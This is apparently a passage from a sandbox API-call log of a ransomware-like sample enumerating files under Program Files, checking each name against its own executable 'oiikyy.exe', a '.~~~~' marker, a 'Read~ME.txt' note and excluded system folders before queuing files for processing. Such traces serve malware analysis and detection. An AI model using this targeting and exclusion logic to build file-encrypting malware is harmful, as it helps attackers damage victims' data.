	[0067.472] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1
	[0067.472] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="Windows") returned -1
	[0067.472] lstrcmpW (lpString1="ShapeCollector.exe.mui", lpString2="oiikyy.exe") returned 1
	[0067.472] StrStrW (lpFirst="ShapeCollector.exe.mui", lpSrch=".~~~~") returned 0x0
	[0067.472] lstrcmpW (lpString1="ShapeCollector.exe.mui", lpString2="Read~ME.txt") returned 1
	[0067.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0067.472] GetCurrentThreadId () returned 0x618
	[0067.472] RtlWakeConditionVariable () returned 0x365f48
	[0067.472] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1
	[0067.472] lstrcmpiW (lpString1="split.avi", lpString2="Windows") returned -1
	[0067.472] lstrcmpW (lpString1="split.avi", lpString2="oiikyy.exe") returned 1
	[0067.472] StrStrW (lpFirst="split.avi", lpSrch=".~~~~") returned 0x0
	[0067.472] lstrcmpW (lpString1="split.avi", lpString2="Read~ME.txt") returned 1
	[0067.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.472] GetCurrentThreadId () returned 0x618
	[0067.472] RtlWakeConditionVariable () returned 0x365f48
	[0067.472] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1
	[0067.472] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="Windows") returned -1
	[0067.472] lstrcmpW (lpString1="tabskb.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.472] StrStrW (lpFirst="tabskb.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.472] lstrcmpW (lpString1="tabskb.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.473] GetCurrentThreadId () returned 0x618
	[0067.473] RtlWakeConditionVariable () returned 0x365f48
	[0067.473] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1
	[0067.473] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="Windows") returned -1
	[0067.473] lstrcmpW (lpString1="TipBand.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.473] StrStrW (lpFirst="TipBand.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.473] lstrcmpW (lpString1="TipBand.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.473] GetCurrentThreadId () returned 0x618
	[0067.473] RtlWakeConditionVariable () returned 0x365f48
	[0067.473] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1
	[0067.473] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="Windows") returned -1
	[0067.473] lstrcmpW (lpString1="TipRes.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.473] StrStrW (lpFirst="TipRes.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.473] lstrcmpW (lpString1="TipRes.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.473] GetCurrentThreadId () returned 0x618
	[0067.473] RtlWakeConditionVariable () returned 0x365f48
	[0067.474] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.474] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.474] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.474] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.474] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.474] GetCurrentThreadId () returned 0x618
	[0067.474] RtlWakeConditionVariable () returned 0x365f48
	[0067.474] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1
	[0067.474] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="Windows") returned -1
	[0067.474] lstrcmpW (lpString1="TipTsf.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.474] StrStrW (lpFirst="TipTsf.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.474] lstrcmpW (lpString1="TipTsf.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.474] GetCurrentThreadId () returned 0x618
	[0067.474] RtlWakeConditionVariable () returned 0x365f48
	[0067.474] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0
	[0067.475] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.476] GetCurrentThreadId () returned 0x618
	[0067.476] RtlWakeConditionVariable () returned 0x365f48
	[0067.476] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0067.476] lstrcmpiW (lpString1="es-ES", lpString2="Windows") returned -1
	[0067.476] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1
	[0067.476] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1
	[0067.476] lstrcmpW (lpString1="es-ES", lpString2="AppData") returned 1
	[0067.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", lpSrch="AppData") returned 0x0
	[0067.477] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.477] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", lpString2="C:\\Windows") returned -1
	[0067.477] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.477] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", lpString2="C:\\System Volume Information") returned -1
	[0067.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.477] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.477] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.477] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.477] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.478] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.478] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.478] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.478] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.478] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.478] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.478] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.478] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.478] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.478] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.478] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.478] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.478] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.478] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.478] GetCurrentThreadId () returned 0x618
	[0067.479] RtlWakeConditionVariable () returned 0x365f48
	[0067.479] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.479] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.479] GetCurrentThreadId () returned 0x618
	[0067.479] RtlWakeConditionVariable () returned 0x365f48
	[0067.479] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0067.479] lstrcmpiW (lpString1="et-EE", lpString2="Windows") returned -1
	[0067.479] lstrcmpW (lpString1="et-EE", lpString2=".") returned 1
	[0067.479] lstrcmpW (lpString1="et-EE", lpString2="..") returned 1
	[0067.479] lstrcmpW (lpString1="et-EE", lpString2="AppData") returned 1
	[0067.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", lpSrch="AppData") returned 0x0
	[0067.479] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.479] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", lpString2="C:\\Windows") returned -1
	[0067.479] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.479] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", lpString2="C:\\System Volume Information") returned -1
	[0067.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.716] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.716] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.716] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.716] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.716] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.716] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.716] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.716] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.716] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.716] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.716] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.717] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.717] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.717] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.717] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.717] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.717] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.717] GetCurrentThreadId () returned 0x618
	[0067.717] RtlWakeConditionVariable () returned 0x365f48
	[0067.717] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.717] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.717] GetCurrentThreadId () returned 0x618
	[0067.717] RtlWakeConditionVariable () returned 0x365f48
	[0067.717] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0067.717] lstrcmpiW (lpString1="fi-FI", lpString2="Windows") returned -1
	[0067.717] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1
	[0067.717] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1
	[0067.718] lstrcmpW (lpString1="fi-FI", lpString2="AppData") returned 1
	[0067.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", lpSrch="AppData") returned 0x0
	[0067.718] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.718] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", lpString2="C:\\Windows") returned -1
	[0067.718] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.718] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", lpString2="C:\\System Volume Information") returned -1
	[0067.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.719] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.719] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.719] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.719] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.719] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.719] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.719] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.719] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.719] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.719] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.719] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.719] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.719] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.720] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.720] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.720] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.720] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.720] GetCurrentThreadId () returned 0x618
	[0067.720] RtlWakeConditionVariable () returned 0x365f48
	[0067.720] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.720] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.720] GetCurrentThreadId () returned 0x618
	[0067.720] RtlWakeConditionVariable () returned 0x365f48
	[0067.720] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0067.720] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="Windows") returned -1
	[0067.720] lstrcmpW (lpString1="FlickAnimation.avi", lpString2="oiikyy.exe") returned -1
	[0067.720] StrStrW (lpFirst="FlickAnimation.avi", lpSrch=".~~~~") returned 0x0
	[0067.720] lstrcmpW (lpString1="FlickAnimation.avi", lpString2="Read~ME.txt") returned -1
	[0067.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.721] GetCurrentThreadId () returned 0x618
	[0067.721] RtlWakeConditionVariable () returned 0x365f48
	[0067.721] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1
	[0067.721] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="Windows") returned -1
	[0067.721] lstrcmpW (lpString1="FlickLearningWizard.exe", lpString2="oiikyy.exe") returned -1
	[0067.721] StrStrW (lpFirst="FlickLearningWizard.exe", lpSrch=".~~~~") returned 0x0
